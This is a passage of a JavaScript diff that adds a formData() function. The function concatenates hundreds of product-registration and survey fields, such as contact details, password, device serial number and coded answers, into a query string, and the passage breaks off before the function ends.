+WJSU="";
+WJSUi=0;
+
+OF27="";
+OS27="";
+BR27="";
+OF28="";
+OS28="";
+BR28="";
+IF82="";
+IF83="";
+MA32="";
+MA33="";
+MA34="";
+
+SFOT="";
+
+A_Reg=0;
+DI_Reg_Code=0;
+
+function formData() {
+ age_header="19";
+ data="";
+ data+="&UNID="+UNID
+ +"&DIstat="+DI_Reg_Code
+ +"&EMAL="+EMAL
+ +"&PASS="+PASS
+ +"&PASV="+PASV
+ +"&FNAM="+FNAM
+ +"&LNAM="+LNAM
+ +"&ADD1="+ADD1
+ +"&ADD2="+ADD2
+ +"&CITY="+CITY
+ +"&STAT="+STAT
+ +"&ZIPC="+ZIPC
+ +"&PHON="+PHON
+ +"&AGES="+age_header+AGES
+ +"&SEXX="+SEXX
+ +"&OCCU="+OCCU
+ +"&OCCO="+OCCO
+ +"&MODL="+MODL
+ +"&SRNU="+SRNU
+ +"&MNTH="+MNTH
+ +"&YEAR="+YEAR
+ +"&POPR="+POPR
+ +"&OPOP="+OPOP
+ +"&WHEN="+WHEN
+ +"&INFL="+INFL
+ +"&FNDS="+FNDS
+ +"&WGFT="+WGFT
+ +"&HM01="+HM01
+ +"&HM02="+HM02
+ +"&HM03="+HM03
+ +"&HM04="+HM04
+ +"&HM05="+HM05
+ +"&HM06="+HM06
+ +"&HM07="+HM07
+ +"&HM08="+HM08
+ +"&HM09="+HM09
+ +"&HM10="+HM10
+ +"&HM11="+HM11
+ +"&HM12="+HM12
+ +"&HM13="+HM13
+ +"&HM14="+HM14
+ +"&HM15="+HM15
+ +"&HM16="+HM16
+ +"&HM17="+HM17
+ +"&HM18="+HM18
+ +"&HM19="+HM19
+ +"&HM20="+HM20
+ +"&HM21="+HM21
+ +"&HM22="+HM22
+ +"&HM23="+HM23
+ +"&HM24="+HM24
+ +"&HS01="+HS01
+ +"&HS02="+HS02
+ +"&HS03="+HS03
+ +"&HS04="+HS04
+ +"&HS05="+HS05
+ +"&HS06="+HS06
+ +"&HS07="+HS07
+ +"&HS08="+HS08
+ +"&HS09="+HS09
+ +"&HS10="+HS10
+ +"&HS11="+HS11
+ +"&HS12="+HS12
+ +"&HS13="+HS13
+ +"&HS14="+HS14
+ +"&HS15="+HS15
+ +"&HS16="+HS16
+ +"&HS17="+HS17
+ +"&HS18="+HS18
+ +"&HS19="+HS19
+ +"&HS20="+HS20
+ +"&HS21="+HS21
+ +"&HS22="+HS22
+ +"&HS23="+HS23
+ +"&HS24="+HS24
+ +"&PL01="+PL01
+ +"&PL02="+PL02
+ +"&PL03="+PL03
+ +"&PL04="+PL04
+ +"&PL05="+PL05
+ +"&PL06="+PL06
+ +"&PL07="+PL07
+ +"&PL08="+PL08
+ +"&PL09="+PL09
+ +"&PL10="+PL10
+ +"&PL11="+PL11
+ +"&PL12="+PL12
+ +"&PL13="+PL13
+ +"&PL14="+PL14
+ +"&PL15="+PL15
+ +"&PL16="+PL16
+ +"&PL17="+PL17
+ +"&PL18="+PL18
+ +"&PL19="+PL19
+ +"&PL20="+PL20
+ +"&PL21="+PL21
+ +"&PL22="+PL22
+ +"&PL23="+PL23
+ +"&PL24="+PL24
+ +"&TVSO="+TVSO
+ +"&CE01="+CE01
+ +"&CE02="+CE02
+ +"&NEMA="+NEMA
+ +"&PPUR="+PPUR
+ +"&PPUO="+PPUO
+ +"&CON1="+CON1
+ +"&CON2="+CON2
+ +"&CON3="+CON3
+ +"&STNM="+STNM
+ +"&FE01="+FE01
+ +"&FE02="+FE02
+ +"&FE03="+FE03
+ +"&FE04="+FE04
+ +"&FE05="+FE05
+ +"&FE06="+FE06
+ +"&FE07="+FE07
+ +"&FE08="+FE08
+ +"&FE09="+FE09
+ +"&FE10="+FE10
+ +"&FE11="+FE11
+ +"&FE12="+FE12
+ +"&FE13="+FE13
+ +"&FE14="+FE14
+ +"&FE15="+FE15
+ +"&FE16="+FE16
+ +"&FE17="+FE17
+ +"&FE18="+FE18
+ +"&FE19="+FE19
+ +"&FE20="+FE20
+ +"&FE21="+FE21
+ +"&FE22="+FE22
+ +"&FE23="+FE23
+ +"&FE24="+FE24
+ +"&FE25="+FE25
+ +"&FE26="+FE26
+ +"&FE27="+FE27
+ +"&FE28="+FE28
+ +"&FE29="+FE29
+ +"&FE30="+FE30
+ +"&FE31="+FE31
+ +"&FE32="+FE32
+ +"&FE33="+FE33
+ +"&FE34="+FE34
+ +"&FEOT="+FEOT
+ +"&NF01="+NF01
+ +"&NF02="+NF02
+ +"&NF03="+NF03
+ +"&NF04="+NF04
+ +"&NF05="+NF05
+ +"&NF06="+NF06
+ +"&NF07="+NF07
+ +"&NF08="+NF08
+ +"&NF09="+NF09
+ +"&NF10="+NF10
+ +"&NF11="+NF11
+ +"&NF12="+NF12
+ +"&NF13="+NF13
+ +"&NF14="+NF14
+ +"&NF15="+NF15
+ +"&NF16="+NF16
+ +"&NF17="+NF17
+ +"&NF18="+NF18
+ +"&NF19="+NF19
+ +"&NFOT="+NFOT
+ +"&OSYS="+OSYS
+ +"&OSOT="+OSOT
+ +"&IMGS="+IMGS
+ +"&PBY1="+PBY1
+ +"&PBY2="+PBY2
+ +"&PBY3="+PBY3
+ +"&PBY4="+PBY4
+ +"&PBY5="+PBY5
+ +"&PBY6="+PBY6
+ +"&PBY7="+PBY7
+ +"&PBY8="+PBY8
+ +"&OPBY="+OPBY
+ +"&OWNC="+OWNC
+ +"&CUSE="+CUSE
+ +"&OCUS="+OCUS
+ +"&WCAM="+WCAM
+ +"&OC01="+OC01
+ +"&OC02="+OC02
+ +"&OC03="+OC03
+ +"&OC04="+OC04
+ +"&OC05="+OC05
+ +"&OC06="+OC06
+ +"&OC07="+OC07
+ +"&OC08="+OC08
+ +"&OC09="+OC09
+ +"&OC10="+OC10
+ +"&OC11="+OC11
+ +"&CU01="+CU01
+ +"&CU02="+CU02
+ +"&CU03="+CU03
+ +"&CU04="+CU04
+ +"&CU05="+CU05
+ +"&CU06="+CU06
+ +"&CU07="+CU07
+ +"&CU08="+CU08
+ +"&CU09="+CU09
+ +"&CU10="+CU10
+ +"&PLYB="+PLYB
+ +"&CCON="+CCON
+ +"&BC01="+BC01
+ +"&BC02="+BC02
+ +"&BC03="+BC03
+ +"&BC04="+BC04
+ +"&BC05="+BC05
+ +"&BC06="+BC06
+ +"&IN01="+IN01
+ +"&IN02="+IN02
+ +"&IN03="+IN03
+ +"&IN04="+IN04
+ +"&IN05="+IN05
+ +"&IN06="+IN06
+ +"&IN07="+IN07
+ +"&IN08="+IN08
+ +"&IN09="+IN09
+ +"&IN10="+IN10
+ +"&IN11="+IN11
+ +"&IN12="+IN12
+ +"&IN13="+IN13
+ +"&IN14="+IN14
+ +"&IN15="+IN15
+ +"&FI01="+FI01
+ +"&FI02="+FI02
+ +"&FI03="+FI03
+ +"&FI04="+FI04
+ +"&FI05="+FI05
+ +"&FI06="+FI06
+ +"&FI07="+FI07
+ +"&FI08="+FI08
+ +"&FI09="+FI09
+ +"&FI10="+FI10
+ +"&FI11="+FI11
+ +"&FI12="+FI12
+ +"&FI13="+FI13
+ +"&FI14="+FI14
+ +"&FI15="+FI15
+ +"&FI16="+FI16
+ +"&FI17="+FI17
+ +"&FI18="+FI18
+ +"&FI19="+FI19
+ +"&FI20="+FI20
+ +"&FI21="+FI21
+ +"&FI22="+FI22
+ +"&FI23="+FI23
+ +"&FI24="+FI24
+ +"&FI25="+FI25
+ +"&FI26="+FI26
+ +"&FI27="+FI27
+ +"&FI28="+FI28
+ +"&FI29="+FI29
+ +"&FI30="+FI30
+ +"&FI31="+FI31
+ +"&FI32="+FI32
+ +"&FI33="+FI33
+ +"&FI34="+FI34
+ +"&FI35="+FI35
+ +"&FI36="+FI36
+ +"&FI37="+FI37
+ +"&FI38="+FI38
+ +"&FI39="+FI39
+ +"&FI40="+FI40
+ +"&FI41="+FI41
+ +"&FI42="+FI42
+ +"&FI43="+FI43
+ +"&FI44="+FI44
+ +"&FI45="+FI45
+ +"&FI46="+FI46
+ +"&FI47="+FI47
+ +"&FI48="+FI48
+ +"&FI49="+FI49
+ +"&FI50="+FI50
+ +"&FI51="+FI51
+ +"&FI52="+FI52
+ +"&FI53="+FI53
+ +"&FI54="+FI54
+ +"&FI55="+FI55
+ +"&FI56="+FI56
+ +"&FI57="+FI57
+ +"&FI58="+FI58
+ +"&FF01="+FF01
+ +"&FF02="+FF02
+ +"&FF03="+FF03
+ +"&FF04="+FF04
+ +"&FF05="+FF05
+ +"&FF06="+FF06
+ +"&FF07="+FF07
+ +"&FF08="+FF08
+ +"&FF09="+FF09
+ +"&FF10="+FF10
+ +"&FF11="+FF11
+ +"&FF12="+FF12
+ +"&FF13="+FF13
+ +"&FF14="+FF14
+ +"&FF15="+FF15
+ +"&FF16="+FF16
+ +"&FF17="+FF17
+ +"&FF18="+FF18
+ +"&FF19="+FF19
+ +"&FF20="+FF20
+ +"&FF21="+FF21
+ +"&FF22="+FF22
+ +"&PPQT="+PPQT
+ +"&PSQT="+PSQT
+ +"&LCDQ="+LCDQ
+ +"&NITQ="+NITQ
+ +"&NTSQ="+NTSQ
+ +"&GENQ="+GENQ
+ +"&DSNQ="+DSNQ
+ +"&OPMQ="+OPMQ
+ +"&PRCQ="+PRCQ
+ +"&BATQ="+BATQ
+ +"&CMPQ="+CMPQ
+ +"&DSCQ="+DSCQ
+ +"&MSSQ="+MSSQ
+ +"&MSIQ="+MSIQ
+ +"&PGSQ="+PGSQ
+ +"&PCPQ="+PCPQ
+ +"&AO01="+AO01
+ +"&AO02="+AO02
+ +"&AO03="+AO03
+ +"&AO04="+AO04
+ +"&AO05="+AO05
+ +"&AO06="+AO06
+ +"&AO07="+AO07
+ +"&AO08="+AO08
+ +"&AO09="+AO09
+ +"&AO10="+AO10
+ +"&AO11="+AO11
+ +"&AO12="+AO12
+ +"&AO13="+AO13
+ +"&AO14="+AO14
+ +"&AO15="+AO15
+ +"&AO16="+AO16
+ +"&AO17="+AO17
+ +"&AO18="+AO18
+ +"&AO19="+AO19
+ +"&AO20="+AO20
+ +"&AO21="+AO21
+ +"&AO22="+AO22
+ +"&AO23="+AO23
+ +"&AO24="+AO24
+ +"&AO25="+AO25
+ +"&AO26="+AO26
+ +"&AO27="+AO27
+ +"&AO28="+AO28
+ +"&AO29="+AO29
+ +"&AO30="+AO30
+ +"&AO31="+AO31
+ +"&AO32="+AO32
+ +"&AO33="+AO33
+ +"&AO34="+AO34
+ +"&AO35="+AO35
+ +"&IS01="+IS01
+ +"&IS02="+IS02
+ +"&IS03="+IS03
+ +"&IS04="+IS04
+ +"&IS05="+IS05
+ +"&IS06="+IS06
+ +"&IS07="+IS07
+ +"&IS08="+IS08
+ +"&IS09="+IS09
+ +"&IS10="+IS10
+ +"&IS11="+IS11
+ +"&IS12="+IS12
+ +"&IS13="+IS13
+ +"&IS14="+IS14
+ +"&IS15="+IS15
+ +"&IS16="+IS16
+ +"&IS17="+IS17
+ +"&IS18="+IS18
+ +"&IS19="+IS19
+ +"&IS20="+IS20
+ +"&IS21="+IS21
+ +"&IS22="+IS22
+ +"&IS23="+IS23
+ +"&IS24="+IS24
+ +"&IS25="+IS25
+ +"&IS26="+IS26
+ +"&IS27="+IS27
+ +"&IS28="+IS28
+ +"&IS29="+IS29
+ +"&IS30="+IS30
+ +"&IS31="+IS31
+ +"&IS32="+IS32
+ +"&IS33="+IS33
+ +"&IS34="+IS34
+ +"&IS35="+IS35
+ +"&B601="+B601
+ +"&B602="+B602
+ +"&B603="+B603
+ +"&B604="+B604
+ +"&B605="+B605
+ +"&B606="+B606
+ +"&B607="+B607
+ +"&B608="+B608
+ +"&B609="+B609
+ +"&B610="+B610
+ +"&B611="+B611
+ +"&B612="+B612
+ +"&B613="+B613
+ +"&B614="+B614
+ +"&B615="+B615
+ +"&B616="+B616
+ +"&B617="+B617
+ +"&B618="+B618
+ +"&B619="+B619
+ +"&B620="+B620
+ +"&B621="+B621
+ +"&B622="+B622
+ +"&B623="+B623
+ +"&B624="+B624
+ +"&B625="+B625
+ +"&B626="+B626
+ +"&B627="+B627
+ +"&B628="+B628
+ +"&B629="+B629
+ +"&B630="+B630
+ +"&B631="+B631
+ +"&B632="+B632
+ +"&B633="+B633
+ +"&B634="+B634
+ +"&B635="+B635
+ +"&CTYP="+CTYP
+ +"&AO36="+AO36
+ +"&AO37="+AO37
+ +"&IS36="+IS36
+ +"&IS37="+IS37
+ +"&B636="+B636
+ +"&B637="+B637
+ +"&FA01="+FA01
+ +"&FA02="+FA02
+ +"&FA03="+FA03
+ +"&FA04="+FA04
+ +"&FA05="+FA05
+ +"&FA06="+FA06
+ +"&FA07="+FA07
+ +"&FA08="+FA08
+ +"&FA09="+FA09
+ +"&FA10="+FA10
+ +"&FA11="+FA11
+ +"&FA12="+FA12
+ +"&FA13="+FA13
+ +"&FA14="+FA14
+ +"&FA15="+FA15
+ +"&FA16="+FA16
+ +"&FA17="+FA17
+ +"&FA18="+FA18
+ +"&FA19="+FA19
+ +"&FA20="+FA20
+ +"&FA21="+FA21
+ +"&FA22="+FA22
+ +"&FA23="+FA23
+ +"&FA24="+FA24
+ +"&FA25="+FA25
+ +"&FA26="+FA26
+ +"&FA27="+FA27
+ +"&SI01="+SI01
+ +"&SI02="+SI02
+ +"&SI03="+SI03
+ +"&SI04="+SI04
+ +"&SI05="+SI05
+ +"&SI06="+SI06
+ +"&SI07="+SI07
+ +"&SI08="+SI08
+ +"&SI09="+SI09
+ +"&SI10="+SI10
+ +"&SI11="+SI11
+ +"&SI12="+SI12
+ +"&SI13="+SI13
+ +"&SI14="+SI14
+ +"&SI15="+SI15
+ +"&SI16="+SI16
+ +"&SI17="+SI17
+ +"&SI18="+SI18
+ +"&SI19="+SI19
+ +"&SI20="+SI20
+ +"&SI21="+SI21
+ +"&SI22="+SI22
+ +"&SI23="+SI23
+ +"&SI24="+SI24
+ +"&SI25="+SI25
+ +"&SI26="+SI26
+ +"&SI27="+SI27
+ +"&II01="+II01
+ +"&II02="+II02
+ +"&II03="+II03
+ +"&II04="+II04
+ +"&II05="+II05
+ +"&II06="+II06
+ +"&II07="+II07
+ +"&II08="+II08
+ +"&II09="+II09
+ +"&II10="+II10
+ +"&OB01="+OB01
+ +"&OB02="+OB02
+ +"&OB03="+OB03
+ +"&OB04="+OB04
+ +"&PUCO="+PUCO
+ +"&SI28="+SI28
+ +"&SI29="+SI29
+ +"&SI30="+SI30
+ +"&SI31="+SI31
+ +"&SI32="+SI32
+ +"&SI33="+SI33
+ +"&SI34="+SI34
+ +"&SI35="+SI35
+ +"&SI36="+SI36
+ +"&SI37="+SI37
+ +"&SI38="+SI38
+ +"&SI39="+SI39
+ +"&SI40="+SI40
+ +"&SI41="+SI41
+ +"&II11="+II11
+ +"&II12="+II12
+ +"&II13="+II13
+ +"&II14="+II14
+ +"&SF01="+SF01
+ +"&SF02="+SF02
+ +"&SF03="+SF03
+ +"&SF04="+SF04
+ +"&SF05="+SF05
+ +"&SF06="+SF06
+ +"&SF07="+SF07
+ +"&SF08="+SF08
+ +"&SF09="+SF09
+ +"&SF10="+SF10
+ +"&SF11="+SF11
+ +"&SF12="+SF12
+ +"&SF13="+SF13
+ +"&SF14="+SF14
+ +"&SF15="+SF15
+ +"&SF16="+SF16
+ +"&SF17="+SF17
+ +"&SF18="+SF18
+ +"&SF19="+SF19
+ +"&SF20="+SF20
+ +"&SF21="+SF21
+ +"&SF22="+SF22
+ +"&SF23="+SF23
+ +"&SF24="+SF24
+ +"&SF25="+SF25
+ +"&SF26="+SF26
+ +"&SF27="+SF27
+ +"&SF28="+SF28
+ +"&SF29="+SF29
+ +"&SF30="+SF30
+ +"&SF31="+SF31
+ +"&SF32="+SF32
+ +"&SF33="+SF33
+ +"&SF34="+SF34
+ +"&SF35="+SF35
+ +"&SF36="+SF36
+ +"&SF37="+SF37
+ +"&SF38="+SF38
+ +"&SF39="+SF39
+ +"&SF40="+SF40
+ +"&SF41="+SF41
+ +"&SF42="+SF42
+ +"&SF43="+SF43
+ +"&SF44="+SF44
+ +"&SF45="+SF45
+ +"&SF46="+SF46
+ +"&SF47="+SF47
+ +"&SF48="+SF48
+ +"&SF49="+SF49
+ +"&FA28="+FA28
+ +"&FA29="+FA29
+ +"&FA30="+FA30
+ +"&FA31="+FA31
+ +"&AO38="+AO38
+ +"&IS38="+IS38
+ +"&B638="+B638
+ +"&PRMU="+PRMU
+ +"&PRMO="+PRMO
+ +"&CAMU="+CAMU
+ +"&CAMO="+CAMO
+ +"&INDU="+INDU
+ +"&INDO="+INDO
+ +"&INDH="+INDH
+ +"&II15="+II15
+ +"&II16="+II16
+ +"&II17="+II17
+ +"&II18="+II18
+ +"&II19="+II19
+ +"&II20="+II20
+ +"&PLYP="+PLYP
+ +"&WEDT="+WEDT
+ +"&FM01="+FM01
+ +"&FM02="+FM02
+ +"&FM03="+FM03
+ +"&FM04="+FM04
+ +"&FM05="+FM05
+ +"&FM06="+FM06
+ +"&FM07="+FM07
+ +"&FM08="+FM08
+ +"&FM09="+FM09
+ +"&FM10="+FM10
+ +"&FM11="+FM11
+ +"&FM12="+FM12
+ +"&FM13="+FM13
+ +"&FM14="+FM14
+ +"&FM15="+FM15
+ +"&FM16="+FM16
+ +"&FM17="+FM17
+ +"&FM18="+FM18
+ +"&FM19="+FM19
+ +"&FM20="+FM20
+ +"&FM21="+FM21
+ +"&FM22="+FM22
+ +"&FM23="+FM23
+ +"&FM24="+FM24
+ +"&FM25="+FM25
+ +"&FM26="+FM26
+ +"&FM27="+FM27
+ +"&FL01="+FL01
+ +"&FL02="+FL02
+ +"&FL03="+FL03
+ +"&FL04="+FL04
+ +"&FL05="+FL05
+ +"&FL06="+FL06
+ +"&FL07="+FL07
+ +"&FL08="+FL08
+ +"&FL09="+FL09
+ +"&FL10="+FL10
+ +"&FL11="+FL11
+ +"&FL12="+FL12
+ +"&FL13="+FL13
+ +"&FL14="+FL14
+ +"&FL15="+FL15
+ +"&FL16="+FL16
+ +"&FL17="+FL17
+ +"&FL18="+FL18
+ +"&FL19="+FL19
+ +"&FL20="+FL20
+ +"&FL21="+FL21
+ +"&FL22="+FL22
+ +"&FL23="+FL23
+ +"&FL24="+FL24
+ +"&FL25="+FL25
+ +"&FL26="+FL26
+ +"&FL27="+FL27
+ +"&AE01="+AE01
+ +"&AE02="+AE02
+ +"&AE03="+AE03
+ +"&AE04="+AE04
+ +"&AE05="+AE05
+ +"&AE06="+AE06
+ +"&AE07="+AE07
+ +"&AE08="+AE08
+ +"&AE09="+AE09
+ +"&AE10="+AE10
+ +"&AP01="+AP01
+ +"&AP02="+AP02
+ +"&AP03="+AP03
+ +"&AP04="+AP04
+ +"&AP05="+AP05
+ +"&AP06="+AP06
+ +"&AP07="+AP07
+ +"&AP08="+AP08
+ +"&AP09="+AP09
+ +"&AP10="+AP10
+ +"&AG01="+AG01
+ +"&AG02="+AG02
+ +"&AG03="+AG03
+ +"&AG04="+AG04
+ +"&AG05="+AG05
+ +"&AG06="+AG06
+ +"&AG07="+AG07
+ +"&AG08="+AG08
+ +"&AG09="+AG09
+ +"&AG10="+AG10
+ +"&AF01="+AF01
+ +"&AF02="+AF02
+ +"&AF03="+AF03
+ +"&AF04="+AF04
+ +"&AF05="+AF05
+ +"&AF06="+AF06
+ +"&AF07="+AF07
+ +"&AF08="+AF08
+ +"&AF09="+AF09
+ +"&AF10="+AF10
+ +"&BA01="+BA01
+ +"&BA02="+BA02
+ +"&BA03="+BA03
+ +"&BA04="+BA04
+ +"&BA05="+BA05
+ +"&BA06="+BA06
+ +"&BA07="+BA07
+ +"&BA08="+BA08
+ +"&BA09="+BA09
+ +"&BA10="+BA10
+ +"&BA11="+BA11
+ +"&BA12="+BA12
+ +"&BA13="+BA13
+ +"&BA14="+BA14
+ +"&BA15="+BA15
+ +"&CNCT="+CNCT
+ +"&TCNT="+TCNT
+ +"&OCNT="+OCNT
+ +"&CMNT="+CMNT
+ +"&PTYP="+PTYP
+ +"&REPS="+REPS
+ +"&REPO="+REPO
+ +"&SDIS="+SDIS
+ +"&SDSO="+SDSO
+ +"&WUSE="+WUSE
+ +"&WUSO="+WUSO
+ +"&RF01="+RF01
+ +"&RF02="+RF02
+ +"&RF03="+RF03
+ +"&RF04="+RF04
+ +"&RF05="+RF05
+ +"&RF06="+RF06
+ +"&RF07="+RF07
+ +"&RF08="+RF08
+ +"&RFOT="+RFOT
+ +"&MOUF="+MOUF
+ +"&MOFO="+MOFO
+ +"&CO01="+CO01
+ +"&CO02="+CO02
+ +"&CO03="+CO03
+ +"&CO04="+CO04
+ +"&CO05="+CO05
+ +"&CO06="+CO06
+ +"&CO07="+CO07
+ +"&WC01="+WC01
+ +"&WC02="+WC02
+ +"&WC03="+WC03
+ +"&WC04="+WC04
+ +"&WC05="+WC05
+ +"&WC06="+WC06
+ +"&WC07="+WC07
+ +"&DVDS="+DVDS
+ +"&CDDS="+CDDS
+ +"&MINI="+MINI
+ +"&RCRD="+RCRD
+ +"&TAPE="+TAPE
+ +"&FDVD="+FDVD
+ +"&ODVD="+ODVD
+ +"&NCHD="+NCHD
+ +"&INCM="+INCM
+ +"&HTYP="+HTYP
+ +"&AOLE="+AOLE
+ +"&COLE="+COLE
+ +"&OOLE="+OOLE
+ +"&HM25="+HM25
+ +"&HM26="+HM26
+ +"&HM27="+HM27
+ +"&HS25="+HS25
+ +"&HS26="+HS26
+ +"&HS27="+HS27
+ +"&PL25="+PL25
+ +"&PL26="+PL26
+ +"&PL27="+PL27
+ +"&IF01="+IF01
+ +"&IF02="+IF02
+ +"&IF03="+IF03
+ +"&IF04="+IF04
+ +"&IF05="+IF05
+ +"&IF06="+IF06
+ +"&IF07="+IF07
+ +"&IF08="+IF08
+ +"&IF09="+IF09
+ +"&IF10="+IF10
+ +"&IF11="+IF11
+ +"&IF12="+IF12
+ +"&IF13="+IF13
+ +"&IF14="+IF14
+ +"&IF15="+IF15
+ +"&IF16="+IF16
+ +"&IF17="+IF17
+ +"&IF18="+IF18
+ +"&IF19="+IF19
+ +"&IF20="+IF20
+ +"&IF21="+IF21
+ +"&IF22="+IF22
+ +"&IF23="+IF23
+ +"&IF24="+IF24
+ +"&IF25="+IF25
+ +"&IF26="+IF26
+ +"&IF27="+IF27
+ +"&IF28="+IF28
+ +"&IF29="+IF29
+ +"&IF30="+IF30
+ +"&IF31="+IF31
+ +"&IF32="+IF32
+ +"&IF33="+IF33
+ +"&IF34="+IF34
+ +"&IF35="+IF35
+ +"&IF36="+IF36
+ +"&IF37="+IF37
+ +"&IF38="+IF38
+ +"&IF39="+IF39
+ +"&IF40="+IF40
+ +"&IF41="+IF41
+ +"&IFOT="+IFOT
+ +"&MA01="+MA01
+ +"&MA02="+MA02
+ +"&MA03="+MA03
+ +"&MA04="+MA04
+ +"&MA05="+MA05
+ +"&MA06="+MA06
+ +"&MA07="+MA07
+ +"&MA08="+MA08
+ +"&MA09="+MA09
+ +"&MA10="+MA10
+ +"&MA11="+MA11
+ +"&MA12="+MA12
+ +"&MA13="+MA13
+ +"&MA14="+MA14
+ +"&MA15="+MA15
+ +"&MA16="+MA16
+ +"&MA17="+MA17
+ +"&MA18="+MA18
+ +"&MA19="+MA19
+ +"&MA20="+MA20
+ +"&MA21="+MA21
+ +"&MA22="+MA22
+ +"&MA23="+MA23
+ +"&MA24="+MA24
+ +"&MA25="+MA25
+ +"&MA26="+MA26
+ +"&MAOT="+MAOT
+ +"&OF01="+OF01
+ +"&OF02="+OF02
+ +"&OF03="+OF03
+ +"&OF04="+OF04
+ +"&OF05="+OF05
+ +"&OF06="+OF06
+ +"&OF07="+OF07
+ +"&OF08="+OF08
+ +"&OF09="+OF09
+ +"&OF10="+OF10
+ +"&OF11="+OF11
+ +"&OF12="+OF12
+ +"&OF13="+OF13
+ +"&OF14="+OF14
+ +"&OF15="+OF15
+ +"&OF16="+OF16
+ +"&OF17="+OF17
+ +"&OF18="+OF18
+ +"&OF19="+OF19
+ +"&OS01="+OS01
+ +"&OS02="+OS02
+ +"&OS03="+OS03
+ +"&OS04="+OS04
+ +"&OS05="+OS05
+ +"&OS06="+OS06
+ +"&OS07="+OS07
+ +"&OS08="+OS08
+ +"&OS09="+OS09
+ +"&OS10="+OS10
+ +"&OS11="+OS11
+ +"&OS12="+OS12
+ +"&OS13="+OS13
+ +"&OS14="+OS14
+ +"&OS15="+OS15
+ +"&OS16="+OS16
+ +"&OS17="+OS17
+ +"&OS18="+OS18
+ +"&OS19="+OS19
+ +"&BR01="+BR01
+ +"&BR02="+BR02
+ +"&BR03="+BR03
+ +"&BR04="+BR04
+ +"&BR05="+BR05
+ +"&BR06="+BR06
+ +"&BR07="+BR07
+ +"&BR08="+BR08
+ +"&BR09="+BR09
+ +"&BR10="+BR10
+ +"&BR11="+BR11
+ +"&BR12="+BR12
+ +"&BR13="+BR13
+ +"&BR14="+BR14
+ +"&BR15="+BR15
+ +"&BR16="+BR16
+ +"&BR17="+BR17
+ +"&BR18="+BR18
+ +"&BR19="+BR19
+ +"&FC01="+FC01
+ +"&FC02="+FC02
+ +"&FC03="+FC03
+ +"&FC04="+FC04
+ +"&FC05="+FC05
+ +"&FC06="+FC06
+ +"&FC07="+FC07
+ +"&FC08="+FC08
+ +"&FC09="+FC09
+ +"&FC10="+FC10
+ +"&FC11="+FC11
+ +"&FC12="+FC12
+ +"&FC13="+FC13
+ +"&FC14="+FC14
+ +"&FC15="+FC15
+ +"&FC16="+FC16
+ +"&FC17="+FC17
+ +"&UNET="+UNET
+ +"&MARS="+MARS
+ +"&EWAR="+EWAR
+ +"&OCOT="+OCOT
+ +"&CG00="+CG00
+ +"&CG01="+CG01
+ +"&CG02="+CG02
+ +"&CG03="+CG03
+ +"&CG04="+CG04
+ +"&CG05="+CG05
+ +"&CG06="+CG06
+ +"&CG07="+CG07
+ +"&CG08="+CG08
+ +"&CG09="+CG09
+ +"&CG10="+CG10
+ +"&CG11="+CG11
+ +"&COCO="+COCO
+ +"&MI00="+MI00
+ +"&MI01="+MI01
+ +"&MI02="+MI02
+ +"&MI03="+MI03
+ +"&MI04="+MI04
+ +"&MI05="+MI05
+ +"&MI06="+MI06
+ +"&MI07="+MI07
+ +"&MI08="+MI08
+ +"&MI09="+MI09
+ +"&MI10="+MI10
+ +"&MI11="+MI11
+ +"&MI12="+MI12
+ +"&MI13="+MI13
+ +"&MI14="+MI14
+ +"&YD01="+YD01
+ +"&YD02="+YD02
+ +"&YD03="+YD03
+ +"&YD04="+YD04
+ +"&YD05="+YD05
+ +"&YD06="+YD06
+ +"&YD07="+YD07
+ +"&YD08="+YD08
+ +"&YD09="+YD09
+ +"&YD10="+YD10
+ +"&YD11="+YD11
+ +"&YD12="+YD12
+ +"&YD13="+YD13
+ +"&YD14="+YD14
+ +"&YD15="+YD15
+ +"&YD16="+YD16
+ +"&YD17="+YD17
+ +"&YD18="+YD18
+ +"&YD19="+YD19
+ +"&YD20="+YD20
+ +"&YD21="+YD21
+ +"&YD22="+YD22
+ +"&YD23="+YD23
+ +"&YD24="+YD24
+ +"&YD25="+YD25
+ +"&YD26="+YD26
+ +"&YD27="+YD27
+ +"&YD28="+YD28
+ +"&YD29="+YD29
+ +"&YD30="+YD30
+ +"&YD31="+YD31
+ +"&YD32="+YD32
+ +"&YD33="+YD33
+ +"&YD34="+YD34
+ +"&YD35="+YD35
+ +"&YD36="+YD36
+ +"&YD37="+YD37
+ +"&YD38="+YD38
+ +"&YD39="+YD39
+ +"&YD40="+YD40
+ +"&YD41="+YD41
+ +"&YD42="+YD42
+ +"&YD43="+YD43
+ +"&YD44="+YD44
+ +"&YD45="+YD45
+ +"&YD46="+YD46
+ +"&YD47="+YD47
+ +"&YD48="+YD48
+ +"&YD49="+YD49
+ +"&YD50="+YD50
+ +"&YD51="+YD51
+ +"&YD52="+YD52
+ +"&YD53="+YD53
+ +"&YD54="+YD54
+ +"&YD55="+YD55
+ +"&NI00="+NI00
+ +"&NI01="+NI01
+ +"&NI02="+NI02
+ +"&NI03="+NI03
+ +"&NI04="+NI04
+ +"&NI05="+NI05
+ +"&NI06="+NI06
+ +"&NI07="+NI07
+ +"&NI08="+NI08
+ +"&NI09="+NI09
+ +"&NI10="+NI10
+ +"&NI11="+NI11
+ +"&NI12="+NI12
+ +"&NI13="+NI13
+ +"&NI14="+NI14
+ +"&NI15="+NI15
+ +"&NI16="+NI16
+ +"&NI17="+NI17
+ +"&NI18="+NI18
+ +"&NI19="+NI19
+ +"&NI20="+NI20
+ +"&NI21="+NI21
+ +"&NI22="+NI22
+ +"&NI23="+NI23
+ +"&NI24="+NI24
+ +"&NI25="+NI25
+ +"&NI26="+NI26
+ +"&NI27="+NI27
+ +"&NIOT="+NIOT
+ +"&AC01="+AC01
+ +"&AC02="+AC02
+ +"&AC03="+AC03
+ +"&AC04="+AC04
+ +"&AC05="+AC05
+ +"&AC06="+AC06
+ +"&AC07="+AC07
+ +"&AC08="+AC08
+ +"&AC09="+AC09
+ +"&AC10="+AC10
+ +"&AC11="+AC11
+ +"&AC12="+AC12
+ +"&AC13="+AC13
+ +"&AC14="+AC14
+ +"&AC15="+AC15
+ +"&AC16="+AC16
+ +"&AC17="+AC17
+ +"&AC18="+AC18
+ +"&AC19="+AC19
+ +"&AC20="+AC20
+ +"&AC21="+AC21
+ +"&AC22="+AC22
+ +"&AC23="+AC23
+ +"&AC24="+AC24
+ +"&AO39="+AO39
+ +"&IS39="+IS39
+ +"&B639="+B639
+ +"&AO40="+AO40
+ +"&IS40="+IS40
+ +"&B640="+B640
+ +"&AO41="+AO41
+ +"&IS41="+IS41
+ +"&B641="+B641
+ +"&AO42="+AO42
+ +"&IS42="+IS42
+ +"&B642="+B642
+ +"&AO43="+AO43
